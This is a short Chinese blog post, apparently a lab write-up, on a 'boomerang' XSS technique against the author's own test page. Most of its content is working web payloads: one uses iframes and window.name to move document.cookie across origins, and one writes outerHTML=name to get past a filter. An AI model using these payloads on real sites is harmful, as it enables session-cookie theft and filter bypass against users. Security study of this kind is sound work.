XSS回旋镖测试

作者:hack1990 时间:15-11-29 阅读数:751人阅读

虽然同源策略限制了Js对于非同源站点dom的访问


但是我们仍然可以通过window.name来实现跨域传输cookies


这样也就实现了把一个反射XSS封装为存储XSS


这个例子来源于我自己的靶场xss1.php


<iframe
				name="a"
				src="http://hack1990.com/xss1.php?number=%3Csvg/onload=window.name=document.cookie%3E"></iframe>
			<script>
				var w=frames['a']; setTimeout("w.location='http://127.0.0.1'",1000); setTimeout("alert(w.window.name)",2000); </script>

而且,不仅仅是可以通过这种回旋镖的方式实现漏洞的升格


还同样可以来绕过过滤


比如,我这里过滤了1


通常的方法是放到location.hash里然后去执行


当然也有用outerHTML直接写script的


#<iframe/onload=alert(1)></iframe>


但是这里测试了能直接写入outerHTML而且触发的只有这个,其他的都不行


而且弹出的确实是被插入iframe标签的页面的属性而非iframe框架内页面的


当然,我这里要说的是用window.name绕过


这里由于window.name可以简写为name


那么绕过的payload如下


<iframe
				name="a"
				src="about:blank"></iframe>
			<script>
				var w=frames['a']; w.window.name="<iframe/onload=alert(1)></iframe>"; w.location="http://hack1990.com/xss1.php?number=%3Csvg/onload=outerHTML=name%3E"; </script>


发表评论